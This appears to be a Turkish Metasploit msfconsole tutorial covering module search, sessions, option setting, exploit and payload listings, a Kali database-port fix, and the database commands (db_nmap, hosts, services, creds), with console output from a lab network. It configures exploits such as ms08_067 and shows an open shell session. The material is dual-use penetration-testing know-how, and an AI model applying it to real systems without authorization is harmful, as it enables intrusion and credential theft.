msfconsole içerisinde arama yapmanızı sağlar. Basitçe aradığınız herhangi bir ifadeyi yazabileceğiniz gibi parametreler sayesinde aramayı daraltmanız da mümkündür.
Anahtar kelimeleri kullanarak aramalarınızı çeşitlendirebilirsiniz.
msf > help search
Usage: search **[**keywords]Keywords:
name : Modules with a matching descriptive name
path : Modules with a matching path or reference name
platform : Modules affecting this platform
type : Modules of a specific type **(**exploit, auxiliary, or post**)**
app : Modules that are client or server attacks
author : Modules written by this author
cve : Modules with a matching CVE ID
bid : Modules with a matching Bugtraq ID
osvdb : Modules with a matching OSVDB ID
msf >
name
“name” anahtar kelimesi ile arama.
msf > search name:mysql
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mysql/mysql_enum normal MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql normal MySQL SQL Generic Query
auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL Password Cracker (Fast Mode) auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal MySQL Authentication Bypass Password Dump
auxiliary/scanner/mysql/mysql_hashdump normal MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump normal MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version normal MySQL Server Version Enumeration
exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow
exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow
exploit/windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL **for **Microsoft Windows Payload Execution
exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow
msf >
path
“path” anahtar kelimesi ile modül klasörlerinde arama.
msf > search path:scada
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/scada/igss_exec_17 2011-03-21 normal Interactive Graphical SCADA System Remote Command Injection
exploit/windows/scada/citect_scada_odbc 2008-06-11 normal CitectSCADA/CitectFacilities ODBC Buffer Overflow
...snip...
platform
“platform” anahtar kelimesi ile arama
msf > search platform:aix
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
payload/aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
payload/aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
payload/aix/ppc/shell_interact normal AIX execve shell **for **inetd
...snip...
type
“type” anahtar kelimesi ile arama
msf > search type:exploit
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/linux/gather/checkvm normal Linux Gather Virtual Environment Detection
post/linux/gather/enum_cron normal Linux Cron Job Enumeration
post/linux/gather/enum_linux normal Linux Gather System Information
...snip...
author
“author” anahtar kelimesi ile yazara göre arama.
msf > search author:dookie
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/osx/http/evocam_webserver 2010-06-01 average MacOS X EvoCam HTTP GET Buffer Overflow
exploit/osx/misc/ufo_ai 2009-10-28 average UFO: Alien Invasion IRC Client Buffer Overflow Exploit
exploit/windows/browser/amaya_bdo 2009-01-28 normal Amaya Browser v11.0 bdo tag overflow
...snip...
multiple
Birden fazla anahtar kelime kriteri girerek arama yapabilirsiniz.
msf > search cve:2011 author:jduck platform:linux
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/misc/netsupport_manager_agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overflow
sessions
sessions komutuyla oturumları yönetebilirsiniz. Oturumlar, kullandığınız her bir modülün o anda aktif olarak faaliyetlerinin organize edildiği işlemleri ifade eder.
msf > sessions -h
Usage: sessions [options]Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session
-v List verbose fields
O anda bulunan tüm session (oturum) listesini görmek için -l parametresini kullanabilirsiniz.
msf exploit**(**3proxy**)** > sessions -l
Active sessions
**===============**
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
To interact with a given session, you just need to use the ‘-i’ switch followed by the Id number of the session.
msf exploit**(**3proxy**)** > sessions -i 1> Starting interaction with 1...
C:WINDOWSsystem32>
set
set komutu, seçtiğiniz ve use komutuyla aktif hale getirdiğiniz modülün ayarlanması gereken seçenek ve parametrelerini düzenlemek için kullanılır.
msf auxiliary**(**ms09_050_smb2_negotiate_func_index**)** > set RHOST 172.16.194.134
RHOST **=>** 172.16.194.134
msf auxiliary**(**ms09_050_smb2_negotiate_func_index**)** > show options
Module options **(**exploit/windows/smb/ms09_050_smb2_negotiate_func_index**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait **for **the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 **(**x86**)**
set komutuyla gerekli ayarlamaları yapabileceğiniz gibi aktif olan modülün kullanabileceği encoders listesini de görmek isteyebilirsiniz.
set komutunun tersidir ve bir önceki adımda ayarladığınız parametreyi iptal eder. Ayarladığınız tüm değişkenleri unset all komutuyla iptal edebilirsiniz.
msf > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf > set THREADS 50THREADS **=>** 50msf > setGlobal
**======**
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > setGlobal
**======**
No entries **in **data store.
msf >
setg
Bir modül seçtiniz ve aktif hale getirdiniz. Muhtemelen o modülün RHOST değişkenini ayarlayacaksınız. Bunu set RHOST komutuyla yapabilirsiniz ancak farklı bir modüle geçtiğinizde RHOST değeriniz (Hedef IP) değişmemiş olsa bile önceki modülde yaptığınız ayar, yeni modüle taşınmaz. İşte setg komutuyla bir değişken ayarının, tüm modüllerde aktif halde, tekrar tekrar ayarlamaya gerek kalmadan kullanmanızı sağlar. Bu ayarı kullansanız da son olarak show options komutu ile kontrol yapmanızı tavsiye ediyoruz.
Tüm ayarlamaları yaptınız ve msfconsole dan çıkmak istiyorsunuz. Tekrar girdiğinizde, önceki ayarlarınızı tekrar kullanmak istiyorsanız save komutunu vererek kayıt edin. Bu sayede zamandan tasarruf edebilirsiniz.
msf > save
Saved configuration to: /root/.msf4/config
msf >
show
show komutunu hiçbir parametre vermeden kullanırsanız metasploit içerisindeki tüm modüllerin listesini görebilirsiniz.
msf > show
Encoders
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic **${**IFS**}** Substitution Command Encoder
cmd/printf_php_mq manual printf**(**1**)** via PHP magic_quotes Utility Command Encoder
...snip...
show komutunu aşağıdaki formatlarda da kullanabilirsiniz.
show auxiliary
msf > show auxiliary
Auxiliary
**=========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability
admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
...snip...
show exploits
msf > show exploits
Exploits
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon **(**rpc.cmsd**)** Opcode 21 Buffer Overflow
aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow **(**AIX**)**
bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Overflow
...snip...
show payloads
msf > show payloads
Payloads
**========**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve shell **for **inetd
...snip...
msf exploit**(**ms08_067_netapi**)** > show payloads
Compatible Payloads
**===================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
...snip...
show options komutu, aktif olan modülün seçeneklerini ve ayarlanabilecek değişkenlerini gösterir.
msf exploit**(**ms08_067_netapi**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use **(**BROWSER, SRVSVC**)**
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Seçtiğiniz modülün hangi işletim sistemlerinde kullanabileceğinden emin değilseniz show targets komutunu kullanabilirsiniz.
msf exploit**(**ms08_067_netapi**)** > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese **(**NO NX**)**
11 Windows 2003 SP2 English **(**NO NX**)**
12 Windows 2003 SP2 English **(**NX**)**
...snip...
Modül hakkında en detaylı bilgiyi görmek için show advanced komutunu kullanabilirsiniz.
msf exploit**(**ms08_067_netapi**)** > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
show encoders
Metasploit içerisindeki kullanabileceğiniz tüm encoder listesini görmek için show encoders komutunu kullanabilirsiniz.
msf > show encoders
Compatible Encoders
**===================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic **${**IFS**}** Substitution Command Encoder
cmd/printf_php_mq manual printf**(**1**)** via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat**(**2**)**-based Context Keyed Payload Encoder
x86/context_time manual time**(**2**)**-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
show nops
NOP Generator denilen kod üreticilerinin listesini show nops komutu ile ile görebilirsiniz
msf > show nops
NOP Generators
**==============**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
armle/simple normal Simple
php/generic normal PHP Nop Generator
ppc/simple normal Simple
sparc/random normal SPARC NOP generator
tty/generic normal TTY Nop Generator
x64/simple normal Simple
x86/opty2 normal Opty2
x86/single_byte normal Single Byte
use
Yaptığınız aramalar sonunda bir modülü kullanmaya karar verdiniz. İşte bu noktada use komutuyla modülü aktif hale getirebilirsiniz.
msf > use dos/windows/smb/ms09_001_write
msf auxiliary**(**ms09_001_write**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
msf auxiliary**(**ms09_001_write**)** >
Herhangi bir çalışma esnasında bir komut ile yardım almak istediğinizde help komutunu kullanabilirsiniz.
Video Anlatım
2.5 - MSF Başlangıçta Database Hatası
Metasploit framework yazılımını Kali İşletim sisteminde kullanıyorsanız, en son güncellemeden sonra msfconsole başlangıcında aşağıdaki hatayı almaya başlamış olabilirsiniz.
Metasploit framework yazılımını Kali İşletim sisteminde kullanıyorsanız, en son güncellemeden sonra msfconsole başlangıcında aşağıdaki hatayı almaya başlamış olabilirsiniz. msfconsole içerisinde veritabanı kulanımı, yaptığınız taramaların kayıt edilmesi ve tekrar kullanılmasında oldukça fayda sağlar. Bu hatanın sebebi de en son güncelleme ile Kali içerisine kurulan Postgresql 9.6 sürümüdür.
HATA MESAJI
"Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?"
Kali OS güncellemeden önce kullanılan Postgresql 9.5 sürümü, gelen istekleri 5432 portundan dinlemekteydi. Postgresql 9.6 ise conf dosyasında yapılan ayarlama ile dinlemeyi varsayılan olarak 5433 portundan yapmaya başladı. Metasploit Framework ise Postgresql ile haberleşmeyi hala 5432 portundan yapmaya çalışıyor. Bu durumu, aşağıdaki adımlarla kontrol edip düzeltelim ve Veri tabanımızı kullanmaya kaldığımız yerden devam edelim.
ÇÖZÜM
Postgresql Servisi Başlatın:
service postgresql start
Postgresql Dinleme Portu Şu an Ne?
Aşağıdaki komut yardımı ile şu an Postgresql’in şu an dinlediği Port numarasını görebilirsiniz.
ss -lntp | grep post
Muhtemelen aşağıdaki çıktıya benzer bir sonuç elde edeceksiniz. Dinleme portu olarak 5433 görüyorsanız bir sonraki adıma geçebiliriz.
Çıktıda 5432 yerine 5433 görüyorsanız problem burada demektir.
Portu Değiştirelim:
Aşağıdaki komut ile port numarasını 5432 yapalım.
sed -i 's/\(port = \)5433/\15432/' /etc/postgresql/9.6/main/postgresql.conf
Servisi tekrar başlatalım ve ardından msfdb başlangınıcını ayarlayalım. Artık, msfconsole ile Metasploit Framework başladığında Veri tabanına bağlanabilirsiniz.
service postgresql restart
msfdb reinit```
2.6 - MSF İçinde Database Kullanımı
Metasploit Framework içerisinde, Postgresql desteğiyle sunulan veri tabanı özelliği çok kullanışlıdır ve yapılacak tarama sonuçlarını kayıt altına alır.
Metasploit Framework içerisinde, Postgresql desteğiyle sunulan veri tabanı özelliği çok kullanışlıdır ve yapılacak tarama sonuçlarını bir yerde kayıt altına alır. Bulunan sonuçların kayıt altına alınması, sonraki adımlarda kullanılacak IP adresleri, Port numaraları veya Hash Dump vb. bilgilerin exploitlere aktarılmasına kolaylık sağlar.
Aşağıdaki anlatımda, Kali işletim sistemi temel alınmıştır ve komutlar Kali’de denemiştir.
Metasploit Veri tabanını Ayarlama
Öncelikle başlamamış ise postgresql başlatılmalıdır.
root@kali:~# systemctl start postgresql
Postgresql başladıktan sonra Veri tabanı ilk kullanıma hazırlanmalıdır. Bunun için ```msfdb init`` scriptini kullanabiliriz.
root@kali:~# msfdb init
Creating database user 'msf'Enter password **for **new role:
Enter it again:
Creating databases 'msf' and 'msf_test'Creating configuration file **in** /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
Workspace Kullanımı
msfconsole başladığında öncelikle db_status komutuyla veri tabanı bağlantısını kontrol edelim.
msf > db_status
> postgresql connected to msf
Veri tabanı bağlantısını sağladıktan sonra yapacağımız işleri Workspace olarak ifade edilen klasörlerde kayıt altına alarak organize edebiliriz. Normal bilgisayarlarda kayıtlarımızı nasıl klasörlerde konularına göre kayıt altına alıyorsak, msfconsole içinde aynı yaklaşım geçerlidir.
Workspace Listeleme
Basitçe hiçbir parametre vermeden workspace komutunu verdiğinizde, mevcut kayıtlı çalışma klasörleri listelenir. O an için aktif olan workspace başında * işaretiyle belirtilir.
Yeni bir Worksace oluşturmak için -a parametresi, silme için ise -d parametresi kullanılır. Parametrenin ardından oluşturmak veya silmek istediğimiz Workspace adını yazmanız yeterlidir.
workspace komutuyla mevcut klasörler listelendikten sonra aktif olan dışında başka bir klasöre geçmek istersek, aşağıdaki gibi workspace komutunun ardından geçmek istediğimiz klasörün adını yazmamız yeterlidir.
Detaylı yardım için -h parametresini kullanabilirsiniz.
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace **[**name] Switch workspace
workspace -a **[**name] ... Add workspace**(**s**)**
workspace -d **[**name] ... Delete workspace**(**s**)**
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information
msf >
Artık yapacağınız taramalarda elde edeceğiniz sonuçlar aktif olan workspace içerisinde kayıt edilecektir. Şimdi, sonraki adım olarak veri tabanı ile ilgili kullanabileceğimiz diğer komutlara bakalım.
Öncelikle, msfconsole veri tabanı ile ilgili hangi komutları bize sağlıyor ona bakalım. msfconsole içerisinde help komutu verdiğimizde veri tabanı komutları ayrı bir başlıkta aşağıdaki gibi bize gösterilir.
msf > help...snip...
Database Backend Commands========================= Command Description
------- -----------
creds List all credentials **in **the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file **(**filetype will be auto-detected**)**
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts **in **the database
loot List all loot **in **the database
notes List all notes **in **the database
services List all services **in **the database
vulns List all vulnerabilities **in **the database
workspace Switch between database workspaces
Veri Tabanı Kullanımı
Yukarıda, help komutuyla görüntülediğimiz komutları detaylı örnekleriyle görelim.
db_import
Bu komut, msfconsole dışında nmap ile yaptığınız tarama sonuçlarını içeri aktarmamızı sağlar. ```nmap`` taramasının çıktısını xml formatında kaydetmiş olmalısınız.
Aşağıdaki örnekte, /root/msfu/nmapScan isimli dosya, msfconsole içerisine aktarılmaktadır. Tarama dosyasında bulunan IP adresleri, portlar, servisler ve diğer tüm sonuç bilgileri artık içeri aktarılmış olacaktır. db_import komutunun ardından verilen hosts komutuyla kontrol yapılmıştır.
msf > db_import /root/msfu/nmapScan
> Importing 'Nmap XML' data
> Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'> Importing host 172.16.194.172
> Successfully imported /root/msfu/nmapScan
msf > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
msf >
db_nmap
nmap tarama sonuçlarını dışarıdan içeri aktarabileceğiniz gibi msfconsole sayesinde, içeride de dışarı çıkmadan nmap taraması yapabilirsiniz. Bunun için db_nmap komutu kullanılmaktadır. db_nmap ile yapacağınız taramalar, otomatik olarak aktif olan workspace içine kayıt edilecektir.
msf > db_nmap -A 172.16.194.134
> Nmap: Starting Nmap 5.51SVN **(** <a href="http://nmap.org/">http://nmap.org</a> **)** at 2012-06-18 12:36 EDT
> Nmap: Nmap scan report **for **172.16.194.134
> Nmap: Host is up **(**0.00031s latency**)**.
> Nmap: Not shown: 994 closed ports
> Nmap: PORT STATE SERVICE VERSION
> Nmap: 80/tcp open http Apache httpd 2.2.17 **((**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
...snip...
> Nmap: HOP RTT ADDRESS
> Nmap: 1 0.31 ms 172.16.194.134
> Nmap: OS and Service detection performed. Please report any incorrect results at <a href="http://nmap.org/submit/">http://nmap.org/submit/</a> .
> Nmap: Nmap **done**: 1 IP address **(**1 host up**)** scanned **in **14.91 seconds
msf >
msf > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
msf >
db_export
Çalıştığınız bir projede yaptığınız tarama sonuçlarını dışarı aktarmak ve raporlarınızda kullanmak isteyebilirsiniz. Bunun için db_export komutunu bulunmaktadır. db_export komutuna -f parametresiyle beraber dosya ismini verdiğinizde, istediğiniz dosya belirttiğiniz dış klasöre aktarılır. Dışarı aktarımda iki farklı dosya çeşidi bulunur. xml formatında tüm bilgiler veya pwdump formatında kullanıcı adı ve parola vb. bilgiler.
Öncelikle yardım bilgisini görelim;
msf > db_export -h
Usage:
db_export -f **[**-a**]** **[**filename] Format can be one of: xml, pwdump
**[**-] No output file was specified
Şimdi aktif olarak bulunduğumuz workspace içindeki bilgileri xml formatında dışa aktaralım.
msf > db_export -f xml /root/msfu/Exported.xml
> Starting export of workspace msfu to /root/msfu/Exported.xml **[** xml **]**...
> **>>** Starting export of report
> **>>** Starting export of hosts
> **>>** Starting export of events
> **>>** Starting export of services
> **>>** Starting export of credentials
> **>>** Starting export of web sites
> **>>** Starting export of web pages
> **>>** Starting export of web forms
> **>>** Starting export of web vulns
> **>>** Finished export of report
> Finished export of workspace msfu to /root/msfu/Exported.xml **[** xml **]**...
hosts
hosts komutu, o ana kadar yapılan taramaların sonucunda bulunan IP bilgileri, PORT bilgileri vb. bilgileri bize gösterir. Öncelikle, hosts komutunun yardım bilgilerini görüntüleyelim.
msf > hosts -h
Usage: hosts **[** options **]** **[**addr1 addr2 ...]OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c Only show the given columns **(**see list below**)**
-h,--help Show this help information
-u,--up Only show hosts which are up
-o Send output to a file **in **csv format
-O Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Hosts içinde istenen sütunları görüntüleme
hosts komutunu tek başına kullandığınızda kayıtlı bilgiler, aşağıda listesi bulunan sütunlarda organize edilerek gösterilir.
Şimdi, sadece bilgilerini kullanacağımız sütunları ve bilgileri görüntüleyelim. Bunun için -c parametresini ve istediğimiz sütun adlarını yazmalıyız. Aşağıdaki örnekte, address, os_flavor sütunları ve bilgileri gösterilsin istenmiştir.
Yaptığımız taramalarda elde edilen bilgilerin tutulduğu hosts listesinden bir takım bilgileri, kullanmak istediğimiz modüllere aktarabiliriz. Yukarıda kullandığımız hosts -c address,os_flavor komutuyla istediğimiz sütunları görüntülemiştik. Şimdi bu listede arama yapalım ve sonuçların içerisinde “Ubuntu” geçen satırı arayalım.
İşte kullanacağımız IP Adresini bulduk. Şimdi bir modül içerisine girelim ve modülün ihtiyacı olan değişkenlere bakalım.
msf auxiliary**(**tcp**)** > show options
Module options **(**auxiliary/scanner/portscan/tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string **for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
Yukarıda çıktıda, RHOSTS değişken boş olarak görülmektedir. Buraya Remote Host IP adresinin girilmesi gerekiyor. Normalde işlemi set RHOSTS 172.16.194.172 komutuyla girebilirsiniz. Ancak bunu birden çok modül içinde ayarlamak, her seferinde hata yapa ihtimalinizi de arttıracaktır.
Bu durumda hosts -c address,os_flavor -S Linux komutuyla yaptığımız arama ile bulduğumuz IP adresini, sonuna -R parametresini ekleyerek doğrudan içinde bulunduğumuz modüle aktarabiliriz. Aşağıdaki örnekte görüldüğü gibi “Ubuntu” IP adresi direkt olarak tcp modülüne aktarılmıştır.
msf auxiliary**(**tcp**)** > hosts -c address,os_flavor -S Linux -R
Hosts
**=====**
address os_flavor
------- ---------
172.16.194.172 Ubuntu
RHOSTS **=>** 172.16.194.172
msf auxiliary**(**tcp**)** > run
> 172.16.194.172:25 - TCP OPEN
> 172.16.194.172:23 - TCP OPEN
> 172.16.194.172:22 - TCP OPEN
> 172.16.194.172:21 - TCP OPEN
> 172.16.194.172:53 - TCP OPEN
> 172.16.194.172:80 - TCP OPEN
...snip...
> 172.16.194.172:5432 - TCP OPEN
> 172.16.194.172:5900 - TCP OPEN
> 172.16.194.172:6000 - TCP OPEN
> 172.16.194.172:6667 - TCP OPEN
> 172.16.194.172:6697 - TCP OPEN
> 172.16.194.172:8009 - TCP OPEN
> 172.16.194.172:8180 - TCP OPEN
> 172.16.194.172:8787 - TCP OPEN
> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed
hosts listesinde arama ile filtre yapmadan, mevcut bulunan tüm IP adreslerini de aktif olan modüle aktarabiliriz. Bu durumda hosts komutuna hiçbir arama ifadesi girmeden sadece -R parametresi vermeniz yeterli olacaktır.
msf auxiliary**(**tcp**)** > hosts -R
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS **=>** 172.16.194.134 172.16.194.172
msf auxiliary**(**tcp**)** > show options
Module options **(**auxiliary/scanner/portscan/tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string **for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
Yukarıda gördüğünüz gibi tüm IP adresleri RHOSTS içine aktarılmıştır. Birkaç IP adresini elle girmek zaman alıcı olmasa da yüzlerce IP adresinde bir modülü çalıştırmak istediğinizde bu özelliğe mutlaka ihtiyaç duyacaksınız.
Örneğin, bir ağda tarama yaptınız ve 112 adet aktif olarak açık cihaz ve IP adresi buldunuz. Bunların hepsine smb_version modülünü denemek istiyorsunuz. İşte bu noktada hosts -R komutu işleri çok kolaylaştıracaktır.
Services
hosts komutu taramalarda bulunan IP ve diğer bilgileri verirken, services komutu da bu IP adreslerinde çalışan ve keşfedilen servisleri listeler. Tabii ki db_nmap komutu ile servis ve versiyon taraması yapmış olmanız gerekmektedir.
Öncelikle yardım bilgilerini görüntüleyelim.
msf > services -h
Usage: services **[**-h**]** **[**-u**]** **[**-a**]** **[**-r **]** **[**-p >port1,port2>] **[**-s >name1,name2>] **[**-o **]** **[**addr1 addr2 ...] -a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c Only show the given columns
-h,--help Show this help information
-s Search **for **a list of service names
-p Search **for **a list of ports
-r Only show **[**tcp|udp] services
-u,--up Only show services which are up
-o Send output to a file **in **csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
services komutu, bilgileri aşağıdaki sütunlarda organize ederek bize gösterir.
Kullanılabilir sütunlar: created_at, info, name, port, proto, state, updated_at
hosts komutunda nasıl arama yapıyorsak services içinde -c parametresi ile sütunlarda ve -S parametresi ile de belirli bir ifadeyi arayabiliriz.
Belirli Sütunlarda Arama
msf > services -c name,info 172.16.194.134
Services
**========**
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 msrpc Microsoft Windows RPC
172.16.194.134 netbios-ssn
172.16.194.134 http Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds
172.16.194.134 mysql
Belirli Bir Servisin ve IP Adresinin Port Bilgisini Arama
Yukarıda bir kaç örnekte -S büyük S ile belli bir ifadeyi aramıştık. -s parametresi de özellikle servisler listesinde arama yapmayı kolaylaştırır.
msf > services -s http -c port 172.16.194.134
Services
**========**
host port
---- ----
172.16.194.134 80172.16.194.134 443
Servisler İçinde Bir ifadeyi arama
msf > services -S Unr
Services
**========**
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 6667 tcp irc open Unreal ircd
172.16.194.172 6697 tcp irc open Unreal ircd
CSV Export
Hem hosts hem de services listelerinde kayıtlı bulunan bilgilerde yaptığımız arama sonuçlarını ekrana yazdırmak ile birlikte CSV formatında virgülle ayrılmış dosya biçiminde dışarı da aktarabilirsiniz. Aşağıda bir kaç örnek görülmektedir.
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv
> Wrote services to /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
> Wrote hosts to /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
> exec: cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""msf > cat /root/msfu/http.csv
> exec: cat /root/msfu/http.csv
host,port
"172.16.194.134","80""172.16.194.134","443"
Creds
creds komutu da hosts ve services komutlarına benzer olarak taramalarda elde edilen kullanıcı bilgileri ve parolaları bize gösterir. Hiçbir ek parametre girmeden creds komutunu verdiğinizde kayıtlı tüm kullanıcı bilgileri listelenir.
msf > creds
Credentials
**===========**
host port user pass type active?
